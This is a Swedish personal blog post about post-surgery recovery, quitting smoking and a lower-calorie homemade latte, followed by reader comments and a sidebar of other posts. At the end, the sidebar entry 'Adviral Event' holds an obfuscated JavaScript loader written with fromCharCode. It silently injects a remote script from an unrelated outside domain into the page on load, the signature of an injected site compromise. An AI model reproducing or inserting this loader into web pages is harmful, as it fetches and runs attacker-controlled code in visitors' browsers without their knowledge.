Hot-Mama, kalorier.. -Bästa dagen på länge!

imageHej igen! BÄSTA dagen på länge! Jag har fått lite luft och varit i affären, SÅ skönt att komma ut! Jag går fortfarande som Agda 104 år! Men jag går! 🙂 Smärtan har minskat ordentligt idag… Jag är fortfarande trött och medtagen,men inte als dessa toppar av smärta som jag hittills haft 🙂

Dagens outfit är en poncho ifrån Style Level som täcker min vanliga ”dagens outfit”. Bara jag inte tappar den i affären tänkte jag för mig själv innan jag lämnade lägenheten armkrok med min sköterska, Kalmar-frun 😉

imagesamma Gördlar, nya trosor och ett par strumpisar på det 😉 -Hot mamma! Haha!

imagejag har som tidigare nämnt gjort en viktresa från strax under 100kg. Just nu varken bantar eller tränar jag ju såklart med tanke på att läkningen efter en operation kräver energi. Men jag försöker äta nyttigt! Jag har tidigare varit en kedjerökande ”latte mamma” dvs en latte tillsammans med tre cigg x-antal gånger/dagen. -HELT sjukt! Men idag är det min 21 dag som rökfri!

-jag är så stolt över mig själv!

Det är dock inte bara rökningen som är boven i dramat i ovannämnd benämning som ”latte mamma” Vet du om hur många kalorier en vanlig latte från 7-eleven, esoressohouse tex innehåller? Mellan 236-384?! -Sjukt mycket!!! 

imageSmå förändringar kan bidra till stora resultat… Der kan även vara en början till ett ”nyttigare” tänk… Min egna hemmagjorda latte är gjord på lätt mjölk och istället för 50/50 mjölk/kaffe så tar jag ca 25/75 mjölk/kaffe så det är ca 30 kalorier. SJÄLVKLART varierar kalori antalet beroende på strl och mängd! -men detta är ett billigt, enkelt och nyttigare alternativ 😉

Om jag bjuder någon på fika hemma så serverar jag den gärna i något form utav glas, för att det ska se snyggt ut 🙂 toppat med lite kanel också…

image

Från latte, kalorier till hygien! Jag har sista dagarna efter operationen känt mig som en sanitär oangelägenhet! Men idag har jag duschat!

-wiiiiiii så lycklig jag är! Jag gjorde som flera utav er tipsade om, jag klättrade inte ner i badkaret utan duschade utanför! 🙂

-Lycka!

Visst, ALLT blev blött i badrummet…. Och om jag ska vara helt ärlig så stängde jag bara dörren in till badrumet då duschandet också sög musten ut mig….

-Jag är helt slut! Men magen såg finare t idag och läkningen går verkligen åt rätt håll… jag har mailat med min Dr Tuve som också bekräftar detta efter att han kikat lite närmar på bilder jag skickat över till honom. jag var lite osäker på min navel. Men det såg helt normal ut.. -skönt!image

 

Nu ska jag bara ligga i soffan och titta på alla gamla Sex & the City avsnitt! -love them!

image

Innan jag önskar dig en skön kväll så vill jag bara påminna dig om veckans tävling som ja tillsamman med Style Level la ut i inlägget innan detta. -Ta chansen att vinna vårnytt till DIN garderob 🙂

imageVarma kramar /My Martens

15 Komentarer

  1. Bra My Skönt att det går bra nu. Du ska aldrig mer sätta en cig i munnen för det bara orsaker en massa elände rynkor dålig hy och kol och hosta vet själv.
    Har varit storrökare men sen 10 år rökfri.
    För inte att tala om när man möter en person ute som just rökt det luktar ju fan fan.
    Nu håller jag alla tummar och tår för att du ska återhämta dig i lagom takt och att du snart ska kunna få hem Ludvig. Men var rädd om dig du ska hålla länge!!!!!!!!!!!
    Kram från en som läser ofta men inte kommenterar lika ofta
    Du är underbar

  2. Bra My Skönt att det går bra nu. Du ska aldrig mer sätta en cig i munnen för det bara orsaker en massa elände rynkor dålig hy och kol och hosta vet själv.
    Har varit storrökare men sen 10 år rökfri.
    För inte att tala om när man möter en person ute som just rökt det luktar ju fan fan.
    Nu håller jag alla tummar och tår för att du ska återhämta dig i lagom takt och att du snart ska kunna få hem Ludvig. Men var rädd om dig du ska hålla länge!!!!!!!!!!!
    Kram från en som läser ofta men inte kommenterar lika ofta
    Du är underbar

  3. Hej Ny följare ? Super kul att du skriver och delar med dig om din operation ? Så fin din mage är. Jag ska operera mig om 2 veckor på samma ställe fast de är Peter som ska göra min operation. Jag ska göra en dubbel bröst och bukplastik. Är sjuuukt nervös. MVH Malin

  4. Hej Ny följare 🙂 Super kul att du skriver och delar med dig om din operation 🙂 Så fin din mage är. Jag ska operera mig om 2 veckor på samma ställe fast de är Peter som ska göra min operation. Jag ska göra en dubbel bröst och bukplastik. Är sjuuukt nervös. MVH Malin

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/